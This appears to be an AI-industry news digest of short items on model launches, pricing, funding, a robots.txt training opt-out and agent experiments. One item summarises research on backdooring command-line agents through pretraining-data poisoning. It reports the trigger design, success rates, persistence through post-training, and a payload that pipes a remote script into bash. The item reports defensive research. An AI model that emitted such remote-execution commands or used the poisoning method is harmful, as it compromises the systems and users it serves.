AI Coding Live News

X Discussion: Elon Musk Says Grok Bot Serving Costs Were Unsustainably High Relative to Revenue; Replit CEO Amjad Masad Warns Subsidized AI Subscriptions Face a Rug Pull

After users on X complained that their Grok Bot usage ran out early this cycle, Elon Musk replied that "the cost of serving Grok Bot was unsustainably high relative to revenue", a reply with about 13K likes and 5.5M views. Replit CEO Amjad Masad then quoted the news, saying people enjoying subsidized AI subscriptions should "get ready to get rug pulled", sparking a debate over whether flat-rate AI plans can last. This is an X discussion with personal views; xAI has not published a formal pricing or limit announcement.

Key Takeaways

  • Trigger: user @DogecoinNorway said their Grok Bot usage hit 100% with 4 days left until reset, a post with about 1.24M views.
  • Musk replied that the cost of serving Grok Bot was unsustainably high relative to revenue, with about 13.2K likes, 5.51M views and 1,900+ quotes.
  • Amjad Masad (Replit CEO) quoted it, warning subsidized AI subscriptions are about to get rug pulled, with about 2,347 likes and 146K views; in replies he said Replit never subsidized.
  • xAI has not published a formal limit or pricing change; rely on official notices for specifics.
Read full story

Meituan ships LongCat-2.5, a 1.6T-parameter (about 48B active) native multimodal agentic model, with API pricing of $0.30/$1.20 per 1M tokens

On Nov 2 Meituan's LongCat team listed LongCat-2.5 in its API platform change log as the full release of September 25's LongCat-2.5-Preview. The official technical blog says it has 1.6 trillion total parameters with about 48 billion activated per token, builds on LongCat-2.0 with stronger native visual understanding and agentic coding, and was trained and served with W4A4 inference on domestic AI accelerators. Vendor-reported scores include 88.4 on Terminal Bench v2.1, 38.5 on Terminal Bench v4.0, 91.9 on BrowseComp and 83.1 on MCP Atlas. The API speaks both OpenAI and Anthropic formats with a 1M-token context and up to 128K output tokens, at a limited-time price of $0.30 per 1M uncached input tokens, $0.006 cached input and $1.20 output.

Meituan ships LongCat-2.5, a 1.6T-parameter (about 48B active) native multimodal agentic model, with API pricing of $0.30/$1.20 per 1M tokens

Key Takeaways

  • Scale: a 1.6-trillion-parameter MoE with about 48B active per token, a 1M-token context and up to 128K output tokens (official blog, API docs)
  • Code agents (vendor-reported): Terminal Bench v2.1 88.4 (Claude Opus 5 89.1, GPT-5.6-Sol 88.8), Terminal Bench v4.0 38.5 (GPT-5.6-Sol 37.3, Claude Opus 5 53.9), DeepSWE v1.1 64.6
  • General agents (vendor-reported): BrowseComp 91.9, MCP Atlas 83.1, AutomationBench v1.0.6 51.8, HLE with tools 63.1; AutomationBench jumps from 15.8 on LongCat-2.0
  • Pricing: limited-time $0.30 per 1M uncached input tokens, $0.006 cached input and $1.20 output (pricing page)
  • Engineering: W4A4 inference raises prefill throughput 43.3% and decode throughput 42.77% over a W8A8 baseline; FSDP gives 86% higher per-device throughput than DDP in long-sequence SFT
Read full story

X discussion: Shopify CEO Tobi Lütke backs the monorepo as a Shopify engineer calls it a boon for coding agents, while critics still prefer split repos

Shopify distinguished engineer Burke Libbey posted on November 1 that moving to a monorepo has been a boon for agents at Shopify; it needs thoughtful tooling and has downsides that take effort to mitigate, but he would not go back. He was replying to Darren Shepherd, who said a day earlier that he hates the idea that monorepos are great for agents. Shopify CEO Tobi Lütke then quoted Burke and recalled Mikhail Parakhin telling him that every engineer hates the idea of moving to a monorepo, yet once it is there no engineer would want to work somewhere without one. Tobi's post drew about 1,115 likes, 454 bookmarks and 89K views and set off a wide debate. These are practitioner opinions, not an official technical announcement.

Key Takeaways

  • Original post: @tobi, Nov 1, 15:39 UTC, about 1,115 likes, 454 bookmarks, 95 replies and 89K views at fetch time
  • Shopify distinguished engineer Burke Libbey wrote that moving to a monorepo has been a boon for agents at Shopify; it needs thoughtful tooling and its downsides take effort to mitigate, but he would not go back
  • On the other side, Darren Shepherd (Rancher and k3s background) posted on Oct 31 that he hates the idea that monorepos are great for agents and that the best way to scale is to avoid scaling
  • Mikhail Parakhin replied to Tobi's retelling: "True story! And now, with agents, it more true than ever."
  • Supporters in the quote posts say agents can see every caller at once and get cross-stack type checking and atomic changes; skeptics ask whether agents make independent, separately evolving repos more attractive
Read full story
Linked Models & Agents:

X discussion: Flask creator Armin Ronacher says an Opus 5.5 agent could re-implement all of CPython in about two weeks with no human input, sparking a debate over whether the value is in the test suite

Flask creator Armin Ronacher (@mitsuhiko) posted on November 1 that he is convinced an Opus 5.5 agent could now re-implement all of CPython in about two weeks against just the tests, with no human input, possibly with ABI compatibility, no GIL, a JIT, and better numbers on every measurable metric. The post had about 1,637 likes, 98K views and 162 replies. He later added that a rewrite does not strictly need an existing test suite, and that having the agent build its own tests is often better for porting. antirez agreed, while Mario Zechner and Meta engineer Kevin Newton pushed back. This is a personal prediction; no such rewrite has been done.

Key Takeaways

  • Original post: @mitsuhiko, Nov 1, 11:52 UTC, about 1,637 likes, 269 bookmarks, 162 replies and 98K views at fetch time
  • His core claim: given just the tests and no human input, an agent could rewrite CPython in about two weeks, "probably" with full compatibility including ABI, no GIL and a JIT, which he called "completely crazy"; it is a prediction, not an experiment
  • Follow-up post (14:07 UTC, about 212 likes): an existing test suite is not required, and many pre-existing tests are bad for hill climbing; he says an agent he ran a few weeks ago re-implemented the Excel formula engine and built its own test suite from scratch
  • antirez (creator of Redis) agreed that you can ask an agent to build a large test suite before starting a port; Mario Zechner disagreed, saying his problem with agents is trust and pre-existing test and conformance suites increase it
  • Meta engineer Kevin Newton pushed back that very few Python JITs have succeeded because of complexity and compatibility, and that a good one without human input is unrealistic; others noted that under PEP 703 the free-threaded build is not ABI-compatible with the standard one
Read full story
Linked Models & Agents:
ADSponsored
X
Xinyan Hu, Pingbang Hu et al. (Anthropic Fellows Program / Anthropic)arxiv.org·
👀16
🔥82

Anthropic Fellows paper: poisoning 0.1% of pretraining data plants a remote-code-execution backdoor in CLI agents that survives clean SFT, DPO and RL

Researchers from the Anthropic Fellows Program and Anthropic, including Nicholas Carlini and Javier Rando, published "Agentic Backdoors via Pretraining Poisoning" on arXiv. They pretrained three Qwen3-architecture models from scratch at 0.6B, 1.7B and 4B, mixed just 0.1% poisoned documents into the pretraining corpus, and then turned each model into a command-line agent with a fully clean SFT, DPO and GRPO pipeline. The backdoor survived: when the trigger appears, the agent runs a remote-script command like curl -sSL <url> | bash. The 4B model reached a 92.7% Pass@32 attack success rate with an ordinary file-path trigger, while emitting the payload on 0% of clean prompts.

Key Takeaways

  • Poison budget: only 0.1% of a 100B-token pretraining corpus; the attacker needs no access to the model architecture or post-training pipeline (paper)
  • Persistence: the backdoor survives clean SFT, DPO and GRPO (RLVR) post-training and does not lower capability eval scores (paper figures)
  • Success rate: the 4B model hits 92.7% Pass@32 attack success with an ordinary path trigger and 10.5% with a rare-string trigger; payload emission on clean prompts is 0% (paper figures)
  • Scale effect: attack success rises monotonically with model size, and the 4B model stays above zero even at a 0.0005% (1 in 200,000) poison rate
  • Defense: clean data cannot be guaranteed, so the authors point to the action layer, such as sandboxing, least privilege, and allow-lists or human confirmation for risky commands; code is open source (GitHub)
Read full story
Linked Models & Agents:

X discussion: Stripe CEO Patrick Collison adds an agent-powered "improvements" box to his vibecoded apps and calls it liquid software

A widely discussed idea on X: on Oct 31 Stripe CEO Patrick Collison (@patrickc) posted that he is building an "improvements" feature into all of his personal vibecoded applications, a freeform text input hooked up to an agent that implements whatever is submitted. He says another person who uses one of the apps has already implemented 150 improvements in a few days, and he floats the name "liquid software" for the pattern. He is also candid that he does not know whether it scales: whether it becomes unmaintainable, how collaborative software works this way, and whether it can be secure and reliable. The post drew about 2,130 likes, 1,900 bookmarks and 147K views. This is a write-up of a personal opinion and the discussion around it, not an official Stripe product announcement.

X discussion: Stripe CEO Patrick Collison adds an agent-powered "improvements" box to his vibecoded apps and calls it liquid software

Key Takeaways

  • Buzz: about 2,133 likes, 1,896 bookmarks, 217 replies, 76 quotes and 147K views (public X metrics as of Nov 1, 12:15 SGT)
  • Pattern: every personal app gets a freeform text box wired to an agent that yolo implements whatever is submitted, which makes sanding a small rough edge almost free
  • Data point: Collison says another person using one of his apps implemented 150 improvements in a few days (self-reported; the app itself is not public)
  • His own open questions: does it become unmaintainable, can model gains outpace feature appetite, how does collaborative software work, and can it be secure and reliable
  • Debate: supporters say it will become standard and could even ship bespoke per-user features behind flags; skeptics note conflicts start once a second user asks for the opposite change, and maintenance and security remain unsolved; Collison himself compares it to the user-modifiable visions of Lisp machines, Smalltalk and HyperCard
Read full story
Linked Models & Agents:

Benji Taylor, head of design at X and SpaceXSI, open-sources Stageshow, an agent skill for realistic faux product UI and animated demos

On Oct 31, Benji Taylor, head of design at X and SpaceXSI, released Stageshow on X: an open-source skill (MIT license) for coding agents that helps them produce faux product UI that looks real, including stills, cursor demo animations, and bento grids, delivered as ordinary React components. It installs with one command, and he says it works with Grok Build, Claude Code, Codex, Gemini, and others. The launch post drew about 4,500 likes and 6,500 bookmarks. He notes it rarely nails a demo in one shot and most still take a few rounds of feedback.

Benji Taylor, head of design at X and SpaceXSI, open-sources Stageshow, an agent skill for realistic faux product UI and animated demos

Key Takeaways

  • Install: npx skills add benjitaylor/skills --skill stageshow; the author says it works with Grok Build, Claude Code, Codex, Gemini, and other agents (author's post)
  • Contents: a seven-step workflow in SKILL.md, reference rule docs, dozens of gold examples, a React kit, and self-check scripts such as film.mjs (GitHub)
  • License: the stageshow folder is MIT licensed; the repo was created Oct 26 and had about 61 stars at writing time
  • Reach: the launch post had about 4,521 likes, 6,561 bookmarks, and 213k views as of Nov 1, 08:00 SGT
  • Quality claims are the author's own: the same prompts did better with the skill, but no quantitative evaluation was published
Read full story
O
OpenAIhelp.openai.com·
👀43
🔥83

OpenAI will pool ChatGPT and Codex into one token-based usage allowance starting in December for Plus, Pro, and Business; Instant chat is excluded

On Oct 31, OpenAI's Help Center added a page titled "Understanding ChatGPT and Codex usage limits": starting in December, the usage allowance on Plus, Pro, and Business plans will be shared across ChatGPT and Codex as OpenAI brings the agentic capabilities of Work into the main ChatGPT experience. Usage will be measured in tokens, so stronger models and more complex tasks use more; Instant chat will not draw from the allowance. Users will see combined remaining usage and reset times in Settings > Usage, and can wait for a reset, upgrade, or buy credits when they run out. OpenAI says it expects most users will not need to wait for resets more often than they do now, but it has not given an exact start date or per-plan allowances. The news drew strong concern from Plus users on X.

Key Takeaways

  • Timing: takes effect in December, exact date not announced; covers Plus, Pro, and Business plans (OpenAI Help Center)
  • Metering: everything is measured in tokens and Instant chat is excluded; the Business pricing page now also notes that plan usage will have a shared limit across ChatGPT and Codex starting in December (Business pricing)
  • Today's baseline: only Work and Codex share an allowance now; Plus is estimated at 5-45 local messages per 5 hours on GPT-6 Astra, 15-160 on GPT-6.1 Sol, and 350-3,000 on GPT-6 Luna (official estimates, help article)
  • Pro 100/200/500 currently have no 5-hour limit in Work and Codex; per-plan allowances after the merge have not been published
  • OpenAI's position: most users should not wait for resets more often than today; when out, wait, upgrade, or buy credits
Read full story

DeepSeek Harness team open-sources dsh-superagent, a proactive coding agent prototype for a single GitHub repo, alongside its Super-agent architecture article

On Oct 31, deepseek-ai open-sourced dsh-superagent-prototype on GitHub under the MIT license: a proactive coding agent that runs as a DeepSeek Harness bundle, lives on one GitHub repository and can optionally listen to Feishu. When an allowed person asks for work, it opens a work item, works in its own session and directory, and answers in the original conversation, for example with a pull request. The README states it is a research prototype, not an official DeepSeek product. The companion article, Exploring Super-agent Design, proposes a two-layer Router-Worker architecture; the team test, as reproduced by media, reports a p95 completion time of 15.7 minutes versus 29.5 minutes for a single-session setup.

Key Takeaways

  • Open source: deepseek-ai/dsh-superagent-prototype went public on Oct 31 under MIT, written in TypeScript, with about 1,800 stars at the time of writing
  • Scope: each deployment serves 1 GitHub repository, with optional Feishu; it acts only when an allowed person addresses it or a team-written rule allows it
  • Delivery: by default it only allows auto-merge for an approved pull request opened for a ticket with fewer than 200 changed lines, and never enables auto-merge as the agent account
  • Team test (as reproduced by media, vendor-reported): in a simulation with about 300 messages and 20 requests, p50 / p95 completion was 12.4 / 15.7 minutes versus 20.4 / 29.5 for a single session with a subagent tool
  • Risk: worker sessions run commands without approval as the operator's OS user, and the README asks users to review and adapt the code first
Read full story

YC Labs pits AI agent swarms in Minecraft and Mindustry: GPT swarms win 12 of 16 head-to-head games against Claude, while a 50-agent colony slides into bureaucracy

YC Labs, a research project at Y Combinator, and multi-agent environment startup Olam Labs published "Agents in Games" on Oct 29. Fifty GPT-6.1 Sol agents told to "build a thriving civilization" in survival Minecraft spent three hours huddled in shelters rationing food, sending about 5,900 messages and inventing ration ledgers, permits and job titles. In nine Bed Wars games, 10 GPT-6.1 Sol agents beat 10 Claude Opus 5.5 agents 6–3; in seven 50-vs-50 Mindustry matches lasting about 9.5 hours, GPT won 6–1. The leader was almost always whichever agent was listed first in the directory, and stuck GPT agents fetched the game's public source code on their own. The Minecraft harness is open source. These are one lab's experimental observations, not a standardized benchmark.

YC Labs pits AI agent swarms in Minecraft and Mindustry: GPT swarms win 12 of 16 head-to-head games against Claude, while a 50-agent colony slides into bureaucracy

Key Takeaways

  • Head-to-head: GPT-6.1 Sol won Bed Wars 6–3 over nine games and Mindustry 6–1 over seven, 12 of 16 overall (see the YC Labs report)
  • Civ50: 50 GPT agents sent about 5,900 messages in three hours; 22 of 34 deaths came on the first night, after which the colony turned cautious
  • No election: 46 of the other 49 agents first messaged Ada, first on the roster, who received 616 DMs and became leader
  • Communication: in one Bed Wars game GPT players sent 1,147 DMs versus Claude's 82; GPT drifted into compressed shorthand while Claude voted with "+1"
  • Open source: the long-running Minecraft agent harness is public at yc-software/minecraft-agent-harness
Read full story
ADSponsored
T
Tsinghua University & Z.AI (HarnessPro, arXiv 2610.26770)arxiv.org·
👀9
🔥80

Tsinghua and Z.AI open-source HarnessPro: agents rewrite their own harness, reaching 80.8% on Terminal-Bench 2 at 34% lower cost per task

HarnessPro (arXiv 2610.26770, submitted Oct 19 and revised Oct 20), from Tsinghua University, Z.AI (Zhipu) and collaborators, is a label-free way to improve an agent harness: specialized agents diagnose execution traces, rewrite instructions and runtime policies, score candidates with LLM-generated tests, and keep Lite, Medium and Heavy harnesses along the performance-cost frontier. Per the paper, with GPT-5.5 and Codex the Heavy mode reaches 80.8% on Terminal-Bench 2, 4.5 points above the prior RHO method, while cost per task drops from $1.09 to $0.72. The code is MIT-licensed and drew wider media coverage this week, including from Pandaily.

Tsinghua and Z.AI open-source HarnessPro: agents rewrite their own harness, reaching 80.8% on Terminal-Bench 2 at 34% lower cost per task

Key Takeaways

  • Terminal-Bench 2 (GPT-5.5 with Codex, mean of 3 runs): Heavy reaches 80.8% at $0.72 per task, versus RHO at 76.3% and $1.09, a 33.9% cost cut (paper figures, arXiv)
  • Averaged over three benchmarks: +2.0 points pass rate and -26.1% cost per task versus RHO, across Terminal-Bench 2, SWE-Bench Pro and ProgramBench
  • Holds across models: with GLM-5.2 and Claude Code on Terminal-Bench 2, Heavy hits 81.4% at $0.62, versus vanilla at 74.6% and $0.92 and RHO at 78.0% and $1.00
  • Budget modes: Medium matches RHO at 76.3% on Terminal-Bench 2 for only $0.56 per task; Lite gets 72.9% at $0.43
  • Cheap to train: only 10 training tasks per benchmark and 3 to 4 evolution epochs, tested on 59, 100 and 100 held-out tasks; the three harness tiers are MIT-licensed on GitHub
Read full story

Cohere closes first tranche of Series E targeting up to C$7B at a C$35.7B valuation, with Canada taking an equity stake of up to C$1.6B

On October 29, Cohere announced the initial close of a Series E targeting up to C$7 billion at a C$35.7 billion valuation, led by Schwarz Group with NVIDIA, Bell Ventures and others, which Cohere calls the largest private round in Canadian startup history. The same day Prime Minister Mark Carney said the government will make a staged equity investment of up to about C$1.6 billion; Cohere commits to keep its Canadian incorporation and headquarters and to invest more than C$4 billion and add 1,500+ jobs in Canada through 2031.

Cohere closes first tranche of Series E targeting up to C$7B at a C$35.7B valuation, with Canada taking an equity stake of up to C$1.6B

Key Takeaways

  • Round: Series E targeting up to C$7B at a C$35.7B valuation, led by Schwarz Group with Bell Ventures, Bullhound, Inovia, NVIDIA, Prosperity7 and the Government of Canada (Cohere blog, vendor figures)
  • Government stake: up to about C$1.6B, paid in stages with regular reporting on jobs and investment, framed as a commercial investment (PM news release)
  • Conditions: at least 1,000 new technical jobs and at least C$1.7B of added compute in Canada by 2030, plus Canadian incorporation and headquarters
  • Cohere pledge: more than C$4B in R&D and AI infrastructure in Canada from 2024 to 2031, 1,500+ new roles, and 250+ paid student roles by 2029 (Cohere blog)
  • Positioning: privately deployable "sovereign AI" plus cyber defense, with AISLE becoming Cohere Cyber; no new model or benchmark was announced
Read full story
O
OpenAI / Google / Microsoft / Anthropic@AICoder·
👀10
🔥83

OpenAI, Google, Microsoft and Anthropic back one robots.txt AI-training opt-out token, __usage_ai-training; Anthropic has started, Microsoft honors it from Feb 1, 2027

On October 30, OpenAI, Google, Microsoft and Anthropic each published posts committing to one shared robots.txt training-preference signal: a site writes a single Disallow group for the policy token __usage_ai-training to tell every participating provider not to use its content for generative AI training. The mechanism comes from an IETF individual Internet-Draft filed that day by Anthropic standards lead Kevin Kelley and is not yet a formal standard. Timelines differ: The Verge and CNA report Anthropic has already started implementing it, OpenAI says "in the coming months", Microsoft honors it from February 1, 2027, and Google plans support during 2027.

Key Takeaways

  • Syntax: in robots.txt, User-Agent: __usage_ai-training plus Disallow: / states a site-wide preference against AI training, and Allow rules can carve out paths such as /press-kit/; omitting the group means no preference is expressed
  • Draft: draft-kelley-aipref-training-preference-signal-00 by Kevin Kelley (Anthropic), filed 2026-10-30 and expiring 2027-05-03, an individual IETF draft with no formal standing yet
  • Timeline: Anthropic has reportedly started; OpenAI says "in the coming months"; Microsoft honors it from 2027-02-01 and sites relying on NoArchive/NoCache should migrate by 2027-03-01; Google plans support in 2027
  • Training only, not crawling: the draft says the token is not a crawl directive, wildcard User-Agent: * groups do not match it, and existing GPTBot, ClaudeBot and Google-Extended rules keep working
  • Microsoft also adds a page-level AI Grounding preference whose new DisallowExtended value limits grounding to Microsoft's own products (Copilot, AI Overview and others) and excludes third-party grounding services such as Foundry API access
Read full story
Linked Models & Agents:

OpenAI rolls out GPT-6 Rosalind Research, a GPT-6 generation life sciences model for approved research orgs in Work, Codex and the API at $15/$75 per million tokens

In its October 30 ChatGPT Business release notes, OpenAI said GPT-6 Rosalind Research is rolling out to a limited set of customers with Research approval. It shows up in the model picker in ChatGPT Work and Codex, not in the Chat tab, and separately approved organizations can call it through the API as gpt-6-rosalind. OpenAI's token-based Enterprise rate card lists it at $15 per million input tokens, $1.50 cached input and $75 output, three times the price of GPT-5.5 Rosalind Research.

Key Takeaways

  • Approved orgs only: both the organization and the user need Rosalind Research approval, and Discovery approval does not include it
  • Where to use it: the model picker in ChatGPT Work and Codex, not the Chat tab; in Codex it pairs with the Life Sciences Research plugin
  • API model name gpt-6-rosalind needs separate approval and is limited to internal research tools, not customer-facing products
  • Priced at $15 input, $1.50 cached input and $75 output per million tokens, versus $5/$0.50/$25 for GPT-5.5 Rosalind Research
  • Enterprise workspaces start with a two-week Admin Preview that is off by default until an admin enables it for approved users
Read full story
Linked Models & Agents:
⚡ GPT-6 Rosalind Research⚡ GPT-5.5 Rosalind Research⚡ GPT-6 Astra🤖 Codex🤖 ChatGPT Work🌐 OpenAI

Claude API launches the Usage and Cost Analytics API in beta and raises the request size limit to 128 MB

Per the official Claude API release notes, on Oct 29 Anthropic launched the Usage and Cost Analytics API in beta, with two endpoints, /v1/organizations/analytics/usage and /analytics/cost, that filter and group token usage and cost by model, workspace, API key, and the user or service account behind each request, with 1-minute, 1-hour, or 1-day buckets. The older Usage and Cost API is now legacy but still supported. On Oct 28 the maximum request size for the Messages and Token Counting APIs on the first-party Claude API rose from 32 MB to 128 MB.

Key Takeaways

  • The new API needs the analytics-usage-cost-2026-08-24 beta header; one endpoint returns token and request counts, the other cost in USD (per the official docs)
  • group_by takes up to 5 dimensions, time buckets can be 1m, 1h, or 1d, and each filter accepts up to 100 values
  • Claude Console and Claude Enterprise organizations share the same endpoints and fields; it also works on Claude Platform on AWS and Claude Models on Google Cloud (Anthropic managed)
  • The old Usage and Cost API and four Enterprise Analytics usage and cost report endpoints are now legacy but still supported, with migration guides
  • Since Oct 28 the Messages and Token Counting APIs accept requests up to 128 MB instead of 32 MB (4x), on the first-party Claude API only
Read full story